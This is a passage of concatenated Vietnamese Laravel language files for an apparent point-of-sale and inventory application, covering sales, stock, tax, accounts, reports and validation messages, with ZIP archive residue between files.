| The following language lines are used for Stock Adjustment CRUD operations. | */ 'stock_adjustment' => 'Điều chỉnh kho', 'stock_adjustments' => 'Điều chỉnh kho', 'list' => 'Danh sách điều chỉnh kho', 'add' => 'Thêm điều chỉnh kho', 'all_stock_adjustments' => 'Tất cả các điều chỉnh kho', 'search_product' => 'Tìm kiếm sản phẩm để điều chỉnh kho', 'adjustment_type' => 'Loại điều chỉnh', 'normal' => 'Bình thường', 'abnormal' => 'Khác thường', 'total_amount' => 'Tổng cộng', 'total_amount_recovered' => 'Tổng tiền thu hồi', 'reason_for_stock_adjustment' => 'Lý do', 'stock_adjustment_added_successfully' => 'Điều chỉnh kho thêm thành công', 'search_products' => 'Tìm kiếm sản phẩm', 'delete_success' => 'Điều chỉnh kho đã xóa thành công', 'view_details' => 'Xem chi tiết điều chỉnh kho', ]; PK G �Z���, , vi/home.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Home Language Lines |-------------------------------------------------------------------------- | | The following language lines are used in home page. | */ 'home' => 'Trang chủ', 'welcome_message' => 'Chào :name,', 'total_sell' => 'Doanh thu', 'total_purchase' => 'Tổng mua hàng', 'invoice_due' => 'Hóa đơn quá hạn', 'purchase_due' => 'Nợ nhà cung cấp', 'today' => 'Hôm nay', 'this_week' => 'Tuần', 'this_month' => 'Tháng', 'this_fy' => 'Năm', 'sells_last_30_days' => 'Doanh thu trong 30 ngày', 'sells_current_fy' => 'Doanh thu năm tài chính hiện tại', 'total_sells' => 'Tổng doanh thu (:currency)', 'product_stock_alert' => 'Cảnh báo tồn kho', 'payment_dues' => 'Payment Dues', 'due_amount' => 'Chưa thanh toán', 'stock_expiry_alert' => 'Thông báo hết hạn cổ phiếu', 'todays_profit' => 'Lợi nhuận hôm nay', ]; PK G �Z裹�� � vi/receipt.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Receipt Language Lines |-------------------------------------------------------------------------- | | The following language lines are used in receipt | */ 'product' => 'Sản phẩm', 'qty' => 'Số lượng', 'unit_price' => 'Đơn giá', 'subtotal' => 'Tổng phụ', 'discount' => 'Giảm giá', 'tax' => 'Thuế', 'total' => 'Toàn bộ', 'invoice_number' => 'Hóa đơn không có.', 'date' => 'Ngày', 'receipt_settings' => 'Cài đặt biên nhận', 'receipt_settings_mgs' => 'Tất cả các cài đặt liên quan đến hóa đơn cho vị trí này', 'print_receipt_on_invoice' => 'Tự động in hóa đơn sau khi hoàn tất', 'receipt_printer_type' => 'Loại máy in hóa đơn', 'receipt_settings_updated' => 'Cài đặt hóa đơn được cập nhật thành công', ]; PK G �Z�pB$� � vi/tax_rate.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Tax Rates Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Tax Rate CRUD operations. | */ 'tax_rates' => 'Thuế suất', 'manage_your_tax_rates' => 'Quản lý thuế của bạn', 'all_your_tax_rates' => 'Tất cả thuế', 'name' => 'Tên', 'rate' => 'Thuế %', 'added_success' => 'Thuế được thêm thành công', 'updated_success' => 'Thuế được cập nhật thành công', 'deleted_success' => 'Thuế đã xóa thành công', 'add_tax_rate' => 'Thêm thuế', 'edit_taxt_rate' => 'Sửa thuế', 'add_tax_group' => 'Thêm nhóm thuế', 'tax_group_added_success' => 'Đã thêm nhóm thuế thành công', 'tax_group_updated_success' => 'Nhóm thuế cập nhật thành công', 'tax_groups' => 'Nhóm thuế', 'edit_tax_group' => 'Sửa nhóm thuế', 'sub_taxes' => 'Thuế phụ', 'can_not_be_deleted' => 'Thuế này thuộc về một số nhóm thuế', ]; PK G �Z �=ѭ � vi/category.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Brand Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Brand CRUD operations. | */ 'categories' => 'Danh mục', 'manage_your_categories' => 'Quản lý danh mục', 'all_your_categories' => 'Tất cả danh mục', 'category' => 'Danh mục', 'category_name' => 'Tên danh mục', 'code' => 'Mã danh mục', 'add_as_sub_category' => 'Thêm danh mục con', 'select_parent_category' => 'Chọn danh mục chính', 'added_success' => 'Đã thêm thành công', 'updated_success' => 'Danh mục được cập nhật thành công', 'deleted_success' => 'Danh mục đã xóa thành công', 'add_category' => 'Thêm danh mục', 'edit_category' => 'Sửa danh mục', ]; PK G �Z�+��? ? vi/brand.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Brand Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Brand CRUD operations. | */ 'brands' => 'Nhãn hiệu', 'manage_your_brands' => 'Quản lý nhãn hiệu', 'all_your_brands' => 'Tất cả nhãn hiệu', 'note' => 'Chú thích', 'brand_name' => 'Nhãn hiệu', 'short_description' => 'Mô tả ngắn', 'added_success' => 'Thêm nhãn hiệu thành công.', 'updated_success' => 'Nhãn hiệu cập nhật thành công.', 'deleted_success' => 'Nhãn hiệu đã xóa thành công.', 'add_brand' => 'Thêm nhãn hiệu', 'edit_brand' => 'Sửa nhãn hiệu', ]; PK G �ZO,�:� � vi/auth.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Authentication Language Lines |-------------------------------------------------------------------------- | | The following language lines are used during authentication for various | messages that we need to display to the user. You are free to modify | these language lines according to your application's requirements. | */ 'failed' => 'Những thông tin không phù hợp với hồ sơ của chúng tôi.', 'throttle' => 'Quá nhiều lần thử đăng nhập. Vui lòng thử lại trong :seconds giây.', ]; PK G �Z.��.�$ �$ vi/validation.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Validation Language Lines |-------------------------------------------------------------------------- | | The following language lines contain the default error messages used by | the validator class. Some of these rules have multiple versions such | as the size rules. Feel free to tweak each of these messages. | */ 'accepted' => 'Trường :attribute phải được chấp nhận.', 'active_url' => 'Trường :attribute không phải là một URL hợp lệ.', 'after' => 'Trường :attribute phải là một ngày sau ngày :date.', 'after_or_equal' => 'Trường :attribute phải là thời gian bắt đầu sau hoặc đúng bằng :date.', 'alpha' => 'Trường :attribute chỉ có thể chứa các chữ cái.', 'alpha_dash' => 'Trường :attribute chỉ có thể chứa chữ cái, số và dấu gạch ngang.', 'alpha_num' => 'Trường :attribute chỉ có thể chứa chữ cái và số.', 'array' => 'Trường :attribute phải là dạng mảng.', 'before' => 'Trường :attribute phải là một ngày trước ngày :date.', 'before_or_equal' => 'Trường :attribute phải là thời gian bắt đầu trước hoặc đúng bằng :date.', 'between' => [ 'numeric' => 'Trường :attribute phải nằm trong khoảng :min - :max.', 'file' => 'Dung lượng tập tin trong trường :attribute phải từ :min - :max kB.', 'string' => 'Trường :attribute phải từ :min - :max ký tự.', 'array' => 'Trường :attribute phải có từ :min - :max phần tử.', ], 'boolean' => 'Trường :attribute phải là true hoặc false.', 'confirmed' => 'Giá trị xác nhận trong trường :attribute không khớp.', 'date' => 'Trường :attribute không phải là định dạng của ngày-tháng.', 'date_equals' => 'Trường :attribute phải là một ngày bằng với :date.', 'date_format' => 'Trường :attribute không giống với định dạng :format.', 'different' => 'Trường :attribute và :other phải khác nhau.', 'digits' => 'Độ dài của trường :attribute phải gồm :digits chữ số.', 'digits_between' => 'Độ dài của trường :attribute phải nằm trong khoảng :min and :max chữ số.', 'dimensions' => 'Trường :attribute có kích thước không hợp lệ.', 'distinct' => 'Trường :attribute có giá trị trùng lặp.', 'email' => 'Trường :attribute phải là một địa chỉ email hợp lệ.', 'exists' => 'Giá trị đã chọn trong trường :attribute không hợp lệ.', 'file' => 'Trường :attribute phải là một tệp tin.', 'filled' => 'Trường :attribute không được bỏ trống.', 'gt' => [ 'numeric' => 'Giá trị trường :attribute phải lớn hơn :value.', 'file' => 'Dung lượng trường :attribute phải lớn hơn :value kilobytes.', 'string' => 'Độ dài trường :attribute phải nhiều hơn :value kí tự.', 'array' => 'Mảng :attribute phải có nhiều hơn :value phần tử.', ], 'gte' => [ 'numeric' => 'Giá trị trường :attribute phải lớn hơn hoặc bằng :value.', 'file' => 'Dung lượng trường :attribute phải lớn hơn hoặc bằng :value kilobytes.', 'string' => 'Độ dài trường :attribute phải lớn hơn hoặc bằng :value kí tự.', 'array' => 'Mảng :attribute phải có ít nhất :value phần tử.', ], 'image' => 'Trường :attribute phải là định dạng hình ảnh.', 'in' => 'Giá trị đã chọn trong trường :attribute không hợp lệ.', 'in_array' => 'Trường :attribute phải thuộc tập cho phép: :other.', 'integer' => 'Trường :attribute phải là một số nguyên.', 'ip' => 'Trường :attribute phải là một địa chỉ IP.', 'ipv4' => 'Trường :attribute phải là một địa chỉ IPv4.', 'ipv6' => 'Trường :attribute phải là một địa chỉ IPv6.', 'json' => 'Trường :attribute phải là một chuỗi JSON.', 'lt' => [ 'numeric' => 'Giá trị trường :attribute phải nhỏ hơn :value.', 'file' => 'Dung lượng trường :attribute phải nhỏ hơn :value kilobytes.', 'string' => 'Độ dài trường :attribute phải nhỏ hơn :value kí tự.', 'array' => 'Mảng :attribute phải có ít hơn :value phần tử.', ], 'lte' => [ 'numeric' => 'Giá trị trường :attribute phải nhỏ hơn hoặc bằng :value.', 'file' => 'Dung lượng trường :attribute phải nhỏ hơn hoặc bằng :value kilobytes.', 'string' => 'Độ dài trường :attribute phải nhỏ hơn hoặc bằng :value kí tự.', 'array' => 'Mảng :attribute không được có nhiều hơn :value phần tử.', ], 'max' => [ 'numeric' => 'Trường :attribute không được lớn hơn :max.', 'file' => 'Dung lượng tập tin trong trường :attribute không được lớn hơn :max kB.', 'string' => 'Trường :attribute không được lớn hơn :max ký tự.', 'array' => 'Trường :attribute không được lớn hơn :max phần tử.', ], 'mimes' => 'Trường :attribute phải là một tập tin có định dạng: :values.', 'mimetypes' => 'Trường :attribute phải là một tập tin có định dạng: :values.', 'min' => [ 'numeric' => 'Trường :attribute phải tối thiểu là :min.', 'file' => 'Dung lượng tập tin trong trường :attribute phải tối thiểu :min kB.', 'string' => 'Trường :attribute phải có tối thiểu :min ký tự.', 'array' => 'Trường :attribute phải có tối thiểu :min phần tử.', ], 'not_in' => 'Giá trị đã chọn trong trường :attribute không hợp lệ.', 'not_regex' => 'Trường :attribute có định dạng không hợp lệ.', 'numeric' => 'Trường :attribute phải là một số.', 'present' => 'Trường :attribute phải được cung cấp.', 'regex' => 'Trường :attribute có định dạng không hợp lệ.', 'required' => 'Trường :attribute không được bỏ trống.', 'required_if' => 'Trường :attribute không được bỏ trống khi trường :other là :value.', 'required_unless' => 'Trường :attribute không được bỏ trống trừ khi :other là :values.', 'required_with' => 'Trường :attribute không được bỏ trống khi một trong :values có giá trị.', 'required_with_all' => 'Trường :attribute không được bỏ trống khi tất cả :values có giá trị.', 'required_without' => 'Trường :attribute không được bỏ trống khi một trong :values không có giá trị.', 'required_without_all' => 'Trường :attribute không được bỏ trống khi tất cả :values không có giá trị.', 'same' => 'Trường :attribute và :other phải giống nhau.', 'size' => [ 'numeric' => 'Trường :attribute phải bằng :size.', 'file' => 'Dung lượng tập tin trong trường :attribute phải bằng :size kB.', 'string' => 'Trường :attribute phải chứa :size ký tự.', 'array' => 'Trường :attribute phải chứa :size phần tử.', ], 'starts_with' => 'Trường :attribute phải được bắt đầu bằng một trong những giá trị sau: :values', 'string' => 'Trường :attribute phải là một chuỗi ký tự.', 'timezone' => 'Trường :attribute phải là một múi giờ hợp lệ.', 'unique' => 'Trường :attribute đã có trong cơ sở dữ liệu.', 'uploaded' => 'Trường :attribute tải lên thất bại.', 'url' => 'Trường :attribute không giống với định dạng một URL.', 'uuid' => 'Trường :attribute phải là một chuỗi UUID hợp lệ.', /* |-------------------------------------------------------------------------- | Custom Validation Language Lines |-------------------------------------------------------------------------- | | Here you may specify custom validation messages for attributes using the | convention "attribute.rule" to name the lines. This makes it quick to | specify a specific custom language line for a given attribute rule. | */ 'custom' => [ 'attribute-name' => [ 'rule-name' => 'custom-message', ], ], /* |-------------------------------------------------------------------------- | Custom Validation Attributes |-------------------------------------------------------------------------- | | The following language lines are used to swap attribute place-holders | with something more reader friendly such as E-Mail Address instead | of "email". This simply helps us make messages a little cleaner. | */ 'attributes' => [], 'custom-messages' => [ 'quantity_not_available' => 'Chỉ :qty :unit vị có sẵn', 'this_field_is_required' => 'Lĩnh vực này là bắt buộc', ], ]; PK G �Z�n�R� � vi/account.phpnu �[��� <?php return [ 'account' => 'Tài khoản', 'manage_your_account' => 'Quản lý tài khoản', 'all_accounts' => 'Tất cả tài khoản', 'account_number' => 'Số tài khoản', 'add_account' => 'Thêm tài khoản', 'account_created_success' => 'Tài khoản được tạo thành công', 'account_updated_success' => 'Tài khoản được cập nhật thành công', 'edit_account' => 'Sửa tài khoản', 'account_closed_success' => 'Tài khoản đã đóng thành công', 'closed' => 'Đóng', 'list_accounts' => 'Danh sách tài khoản', 'opening_balance' => 'Số dư đầu kỳ', 'account_book' => 'Sổ tài khoản', 'credit' => 'Credit', 'debit' => 'Debit', 'account_name' => 'Tên tài khoản', 'transaction_type' => 'Loại giao dịch', 'fund_transfer' => 'Fund Transfer', 'selected_account' => 'Tài khoản đã chọn', 'transfer_to' => 'Chuyển tới', 'fund_transfered_success' => 'Chuyển tiền thành công', 'deposit' => 'Tiền gửi', 'deposited_successfully' => 'Số tiền gửi thành công', 'from' => 'Từ', 'to' => 'Đến', 'balance_sheet' => 'Cân đối kế toán', 'liability' => 'Trách nhiệm', 'assets' => 'Tài sản', 'supplier_due' => 'Supplier Due', 'customer_due' => 'Customer Due', 'account_balances' => 'Số dư tài khoản', 'total_assets' => 'Tổng tài sản', 'total_liability' => 'Tổng trách nhiệm', 'trial_balance' => 'Số dư dùng thử', 'payments_not_linked_with_account' => 'Toàn bộ <b>:payments</b> thanh toán không được liên kết với bất kỳ tài khoản nào.', 'saving_current' => 'Saving/Current', 'capital' => 'Capital', 'not_applicable' => 'Không áp dụng', 'account_type' => 'Kiểu tài khoản', 'accounts' => 'Tài khoản', 'capital_accounts' => 'Tài khoản vốn', 'deposit_from' => 'Gửi tiền từ', 'no_capital_account_created' => 'Không có tài khoản vốn hoạt động tồn tại.', 'payment_account_report' => 'Báo cáo tài khoản thanh toán', 'invoice_ref_no' => 'Hóa đơn No./Ref. No.', 'payment_ref_no' => 'Số tham chiếu thanh toán', 'payment_for' => 'Thanh toan cho', 'link_account' => 'Liên kết tài khoản', 'account_linked_success' => 'Tài khoản được liên kết thành công', 'view_details' => 'Xem chi tiết', ]; PK G �Z�� vi/pagination.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Pagination Language Lines |-------------------------------------------------------------------------- | | The following language lines are used by the paginator library to build | the simple pagination links. You are free to change them to anything | you want to customize your views to better match your application. | */ 'previous' => '« Trước', 'next' => 'Kế tiếp »', ]; PK G �Z̾g` vi/contact.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Contact Language Lines |-------------------------------------------------------------------------- | | The following language lines are used during Contacts CRUD operations. | */ 'contacts' => 'Liên hệ', 'name' => 'Tên', 'contact' => 'Contact', 'manage_your_contact' => 'Quản lý của bạn :contacts', 'all_your_contact' => 'Tất cả của bạn :contacts', 'add_contact' => 'Thêm một liên hệ mới', 'contact_type' => 'Loại liên hệ', 'tax_no' => 'Số thuế', 'pay_term' => 'Thời hạn thanh toán', 'pay_term_period' => 'Thời hạn thanh toán', 'mobile' => 'Số di động', 'landline' => 'Điện thoại', 'alternate_contact_number' => 'Số liên lạc thay thế', 'edit_contact' => 'Chỉnh sửa liên hệ', 'added_success' => 'Liên hệ thêm thành công', 'updated_success' => 'Liên hệ cập nhật thành công.', 'deleted_success' => 'Liên hệ đã xóa thành công', 'add_new_customer' => 'Thêm khách hàng mới', 'view_contact' => 'Xem liên hệ', 'contact_info' => ':contact thông tin', 'all_purchases_linked_to_this_contact' => 'Tất cả các giao dịch mua liên quan đến liên hệ này', 'all_sells_linked_to_this_contact' => 'Tất cả bán liên quan đến liên hệ này', 'total_purchase_due' => 'Tổng tiền mua', 'pay_due_amount' => 'Trả số tiền đến hạn', 'total_paid' => 'Tổng số trả', 'total_purchase_paid' => 'Tổng thanh toán mua hàng', 'total_sale_paid' => 'Tổng thanh toán bán hàng', 'total_sale_due' => 'Chưa thanh toán', 'customer' => 'Khách hàng', ]; PK G �ZZ��ß � vi/sale.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Brand Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Brand CRUD operations. | */ 'sale' => 'Bán hàng', 'sells' => 'Bán hàng', 'list_sale' => 'Danh sách bán hàng', 'add_sale' => 'Thêm bán hàng', 'pos_sale' => 'POS', 'draft_added' => 'Nháp được thêm thành công', 'invoice_added' => 'Hóa đơn được thêm thành công', 'item' => 'Mặt hàng', 'total' => 'Tổng', 'order_tax' => 'Thuế', 'discount' => 'Giảm giá', 'total_payable' => 'Tổng trả', 'cancel' => 'Hủy', 'draft' => 'Nháp', 'finalize' => 'Thanh toán khác', 'express_finalize' => 'Thanh toán nhanh', 'product' => 'Sản phẩm', 'products' => 'Sản phẩm', 'unit_price' => 'Đơn giá', 'qty' => 'Số lượng', 'subtotal' => 'Thành tiền', 'recent_transactions' => 'Giao dịch gần đây', 'pos_sale_added' => 'Bán thành công', 'price_inc_tax' => 'Giá bao gồm thuế', 'tax' => 'Thuế', 'edit_discount' => 'Sửa giảm giá', 'edit_order_tax' => 'Sửa thuế', 'discount_type' => 'Loại giảm giá', 'discount_amount' => 'Số tiền giảm', 'no_recent_transactions' => 'Không có giao dịch gần đây', 'final' => 'Thành công', 'invoice_no' => 'Hóa đơn số.', 'customer_name' => 'Tên khách hàng', 'payment_status' => 'Tình trạng thanh toán', 'status' => 'Trạng thái', 'total_amount' => 'Tổng cộng', 'total_paid' => 'Đã thanh toan', 'total_remaining' => 'Tổng số còn lại', 'payment_info' => 'Thông tin thanh toán', 'drafts' => 'Nháp', 'all_drafts' => 'Tất cả bản nháp', 'sell_details' => 'Chi tiết bán hàng', 'payments' => 'Thanh toán', 'amount' => 'Số tiền', 'payment_mode' => 'Chế độ thanh toán', 'payment_note' => 'Ghi chú thanh toán', 'sell_note' => 'Ghi chú bán hàng', 'staff_note' => 'Nhân viên lưu ý', 'draft_updated' => 'Cập nhật nháp thành công', 'pos_sale_updated' => 'Bán cập nhật thành công', 'location' => 'Vị trí', 'add_payment_row' => 'Thêm hàng thanh toán', 'finalize_payment' => 'Hoàn tất thanh toán', 'sale_date' => 'Ngày bán', 'list_pos' => 'Liệt kê POS', 'edit_sale' => 'Chỉnh sửa giảm giá', 'shipping' => 'Vận chuyển', 'shipping_details' => 'Chi tiết vận chuyển', 'shipping_charges' => 'Phí vận chuyển', ]; PK G �Z᠇� � vi/report.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Report Language Lines |-------------------------------------------------------------------------- | | The following language lines are used in reports | */ 'reports' => 'Báo cáo', 'purchase_sell_report' => 'Purchase & Sale', 'purchase_sell' => 'Báo cáo mua / bán', 'purchase_sell_msg' => 'Chi tiết mua và bán cho phạm vi ngày đã chọn', 'total_purchase' => 'Tổng mua', 'purchase_inc_tax' => 'Mua bao gồm thuế', 'total_sell' => 'Tổng doanh thu', 'sell_inc_tax' => 'Doanh thu bao gồm thuế', 'purchase_due' => 'Nợ mua hàng', 'sell_due' => 'Chưa thanh toán', 'overall' => 'Tổng quan (Bán-Mua)', 'sell_minus_purchase' => 'Bán - Mua', 'difference_due' => 'Tổng nợ chưa thanh toán', 'customer' => 'Khách hàng', 'supplier' => 'Nhà cung cấp', 'total_due' => 'Due', 'contacts' => 'Nhà cung cấp & khách hàng', 'contact' => 'Liên hệ', 'stock_report' => 'Báo cáo tồn kho', 'products' => 'Products', 'current_stock' => 'Tồn kho hiện tại', 'total_unit_sold' => 'Tổng đơn vị đã bán', 'tax_report' => 'Báo cáo thuế', 'tax_report_msg' => 'Chi tiết thuế cho phạm vi ngày đã chọn', 'input_tax' => 'Thuế đầu vào', 'output_tax' => 'Thuế đầu ra', 'tax_overall' => 'Tổng quan (Đầu vào - Đầu ra)', 'trending_products' => 'Xu hướng sản phẩm', 'apply_filters' => 'Áp dụng bộ lọc', 'filters' => 'Bộ lọc', 'expense_report' => 'Báo cáo chi phí', 'total_expense' => 'Tổng chi phí', 'others' => 'Others', 'all' => 'All', 'top_trending_products' => 'Sản phẩm hàng đầu', 'all_locations' => 'Tất cả địa điểm', 'stock_adjustment_report' => 'Điều chỉnh kho', 'total_stock_adjustment' => 'Tổng điều chỉnh cổ phiếu', 'total_recovered' => 'Tổng tiền thu hồi', 'total_normal' => 'Tổng tồn chuẩn', 'total_abnormal' => 'Tổng tồn bất thường', 'register_report' => 'Báo cáo sổ sách', 'open_time' => 'Bắt đầu', 'close_time' => 'Kết thúc', 'user' => 'Người dùng', 'all_users' => 'Tất cả người dùng', 'sales_representative' => 'Đại diện bán hàng', 'sales_representative_expenses' => 'Tất cả các chi phí liên quan đến đại diện bán hàng', 'summary' => 'Tóm lược', 'date_range' => 'Khoảng thời gian', 'stock_expiry_report' => 'Báo cáo hết hạn cổ phiếu', 'stock_left' => 'Chứng khoán còn lại', 'expired' => 'Đã hết hạn', 'view_stocks' => 'Xem cổ phiếu', 'expiring_in_1_week' => 'Hết hạn trong một tuần', 'expiring_in_15_days' => 'Hết hạn sau 15 ngày', 'expiring_in_1_month' => 'Hết hạn trong một tháng', 'expiring_in_3_months' => 'Hết hạn sau 3 tháng', 'expiring_in_6_months' => 'Hết hạn sau 6 tháng', 'expiring_in_1_year' => 'Hết hạn trong một năm', 'profit_loss' => 'Báo cáo lãi / lỗ', 'opening_stock' => 'Tồn đầu kì', 'closing_stock' => 'Tồn cuối', 'total_expense' => 'Tổng chi phí', 'net_profit' => 'Lợi nhuận ròng', 'total_stock_adjustment' => 'Tổng điều chỉnh kho', 'total_stock_recovered' => 'Tổng tồn kho thu hồi', ]; PK G �Z]�!� � vi/passwords.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Password Reset Language Lines |-------------------------------------------------------------------------- | | The following language lines are the default lines which match reasons | that are given by the password broker for a password update attempt | has failed, such as for an invalid token or invalid new password. | */ 'password' => 'Mật khẩu phải có ít nhất sáu ký tự và khớp với xác nhận.', 'reset' => 'Mật khẩu của bạn đã được thiết lập lại!', 'sent' => 'Chúng tôi đã gửi email liên kết đặt lại mật khẩu của bạn!', 'token' => 'Mã thông báo đặt lại mật khẩu này không hợp lệ.', 'user' => 'Chúng tôi không thể tìm thấy người dùng có địa chỉ email đó.', ]; PK G �Z%S��7 7 vi/unit.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Unit Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Units CRUD operations. | */ 'units' => 'Đơn vị', 'manage_your_units' => 'Quản lý đơn vị tính', 'all_your_units' => 'Tất cả các đơn vị', 'name' => 'Tên', 'short_name' => 'Tên viết tắt', 'allow_decimal' => 'Cho phép thập phân', 'added_success' => 'Đã thêm đơn vị thành công', 'updated_success' => 'Đơn vị cập nhật thành công', 'deleted_success' => 'Đã xóa đơn vị thành công', 'add_unit' => 'Thêm đơn vị', 'edit_unit' => 'Sửa đơn vị', ]; PK G �Z�귍� � vi/printer.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Printer Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Printer CRUD operations. | */ 'printers' => 'Máy in', 'add_printer' => 'Thêm máy in', 'name' => 'Tên máy in', 'connection_type' => 'Kiểu kết nối', 'capability_profile' => 'Hồ sơ năng lực', 'ip_address' => 'Địa chỉ IP', 'port' => 'Port', 'path' => 'Path', 'added_success' => 'Máy in được thêm thành công', 'manage_your_printers' => 'Quản lý máy in của bạn', 'all_your_printer' => 'Tất cả các máy in được cấu hình', 'deleted_success' => 'Máy in đã xóa thành công', 'edit_printer_setting' => 'Chỉnh sửa cấu hình máy in', 'receipt_printers' => 'Máy in hóa đơn', 'character_per_line' => 'Ký tự trên mỗi dòng', 'printer_name' => 'Tên máy in', 'updated_success' => 'Máy in được cập nhật thành công', 'edit_printer' => 'Chỉnh sửa máy in', ]; PK G �Zٝ5 =i =i vi/lang_v1.phpnu �[��� <?php return [ 'enable_editing_product_from_purchase' => 'Cho phép chỉnh sửa giá sản phẩm từ màn hình mua hàng', 'sales_commission_agent' => 'Đại diện bán hàng', 'sales_commission_agents' => 'Đại diện bán hàng', 'disable' => 'Vô hiệu hóa', 'logged_in_user' => 'Đăng nhập người dùng', 'select_from_users_list' => 'Chọn từ danh sách người dùng', 'select_from_commisssion_agents_list' => 'Chọn từ danh sách đại lý hoa hồng', 'add_sales_commission_agent' => 'Thêm đại lý hoa hồng bán hàng', 'commission_agent_added_success' => 'Đại lý hoa hồng thêm thành công', 'edit_sales_commission_agent' => 'Chỉnh sửa đại lý hoa hồng bán hàng', 'commission_agent_updated_success' => 'Đại lý hoa hồng cập nhật thành công', 'commission_agent_deleted_success' => 'Đại lý ủy ban đã xóa thành công', 'contact_no' => 'Điện thoại', 'commission_agent' => 'Đại lý ủy ban', 'cmmsn_percent' => 'Hoa hồng bán hàng (%)', 'sales_added' => 'Thêm bán hàng', 'sales_with_commission' => 'Hoa hồng bán hàng', // 'total_sale_with_commission' => 'Total Sale With Commission', 'total_sale_commission' => 'Tổng hoa hồng bán hàng', 'sales_item_addition_method' => 'Phương thức bổ sung mặt hàng', 'add_item_in_new_row' => 'Thêm mục vào hàng mới', 'increase_item_qty' => 'Tăng số lượng vật phẩm nếu nó đã tồn tại', 'stock_transfers' => 'Chuyển kho', 'all_stock_transfers' => 'Tất cả kho chuyển', 'add_stock_transfer' => 'Thêm chuyển kho', 'list_stock_transfers' => 'Danh sách chuyển kho', 'location_from' => 'Vị trí (Từ)', 'location_to' => 'Vị trí (đến)', 'shipping_charges' => 'Phí vận chuyển', 'stock_transfer_added_successfully' => 'Chuyển kho thành công', 'stock_transfer_delete_success' => 'Chuyển kho đã xó thành công', 'stock_transfer_cannot_be_deleted' => 'Việc chuyển kho này không thể bị xóa vì một số cổ phiếu đã được bán', 'total_transfer_shipping_charges' => 'Tổng phí vận chuyển', 'enable_inline_tax' => 'Cho phép thuế nội tuyến trong mua và bán', 'save_n_add_opening_stock' => 'Lưu & Thêm vào kho', 'add_opening_stock' => 'Thêm mở cổ phiếu', 'opening_stock_added_successfully' => 'Mở cổ phiếu thành công', 'update_n_edit_opening_stock' => 'Cập nhật và chỉnh sửa mở kho', 'total_amount_exc_tax' => 'Tổng số tiền (Không bao gồm thuế)', 'currency_symbol_placement' => 'Vị trí ký hiệu tiền tệ', 'before_amount' => 'Trước số tiền ($100)', 'after_amount' => 'Sau số tiền (100$)', 'barcode_label_error' => 'Id SKU không được hỗ trợ cho loại mã vạch đã chọn', 'list_products' => 'Danh sách sản phẩm', 'list_expenses' => 'Danh sách chi phí', 'add_expiry' => 'Thêm mục hết hạn', 'add_manufacturing_auto_expiry' => 'Thêm ngày sản xuất và thời hạn sử dụng', 'tooltip_enable_expiry' => 'Cho phép hết hạn sản phẩm. <br/> <br/><b>Thêm mục hết hạn</b>: Để chỉ trực tiếp thêm hạn sử dụng. <br/> <b>Thêm ngày sản xuất và thời hạn sử dụng</b>: Để thêm ngày sản xuất & thời hạn sử dụng và tính ngày hết hạn dựa trên đó.', 'quantity' => 'Quantity', 'on_product_expiry' => 'Hết hạn sản phẩm', 'keep_selling' => 'Tiếp tục bán hàng', 'stop_selling' => 'Ngừng bán n ngày trước', 'tooltip_on_product_expiry' => 'Chỉ định hành động cần được thực hiện khi hết hạn sản phẩm. <br><br> <b>Tiếp tục bán hàng</b>: Sản phẩm sẽ được giữ lại sau khi hết hạn sử dụng. <br> <b>Stop Selling</b>: Ngừng bán mặt hàng n ngày trước khi hết hạn.', 'output_tax_minus_input_tax' => 'Thuế đầu ra - đầu vào', 'total_purchase_discount' => 'Tổng chiết khấu mua hàng', 'total_sell_discount' => 'Tổng chiết khấu bán hàng', 'updated_succesfully' => 'cập nhật thành công', 'default_unit' => 'Đơn vị mặc định', 'enable_brand' => 'Kích hoạt thương hiệu', 'enable_category' => 'Kích hoạt danh mục', 'enable_sub_category' => 'Kích hoạt danh mục con', 'enable_price_tax' => 'Kích hoạt giá và thuế', 'enable_purchase_status' => 'Kích hoạt trạng thái mua hàng', 'tooltip_enable_purchase_status' => 'Khi tắt, tất cả các giao dịch mua sẽ được đánh dấu là <i> Mục đã nhận </i>', 'recent_product_quantity' => 'Đến số lượng', 'full_screen' => 'Nhấn F11 mở toàn màn hình', 'Uncategorised' => 'Uncategorised', 'no_products_to_display' => 'Không có sản phẩm để hiển thị', 'item_out_of_stock' => 'Sản phẩm hết hàng', 'go_back' => 'Quay lại', 'disable_pay_checkout' => 'Vô hiệu hóa thanh toán và khác', 'disable_draft' => 'Vô hiệu hóa Nháp', 'disable_express_checkout' => 'Vô hiệu hóa thanh toán nhanh', 'hide_product_suggestion' => 'Không hiển thị đề xuất sản phẩm', 'hide_recent_trans' => 'Không hiển thị các giao dịch gần đây', 'pos_settings' => 'Cài đặt POS', 'disable_discount' => 'Vô hiệu hóa giảm giá', 'disable_order_tax' => 'Vô hiệu hóa thuế đơn hàng', 'customer_groups' => 'Nhóm khách hàng', 'customer_group' => 'Nhóm khách hàng', 'all_your_customer_groups' => 'Tất cả các nhóm khách hàng', 'add_customer_group' => 'Thêm nhóm khách hàng', 'customer_group_name' => 'Tên nhóm khách hàng', 'calculation_percentage' => 'Phần trăm tính giá bán (%)', 'tooltip_calculation_percentage' => '<b>Gia ban = Giá bán Đặt cho sản phẩm + Tỷ lệ phần trăm tính toán </b> <br/><br/> Bạn có thể chỉ định tỷ lệ phần trăm là dương để tăng và âm để giảm giá bán.', 'success' => 'Sự thành công', 'edit_customer_group' => 'Chỉnh sửa nhóm khách hàng', 'customer_groups_report' => 'Báo cáo nhóm khách hàng', 'none' => 'không ai', 'enable_imei_or_sr_no' 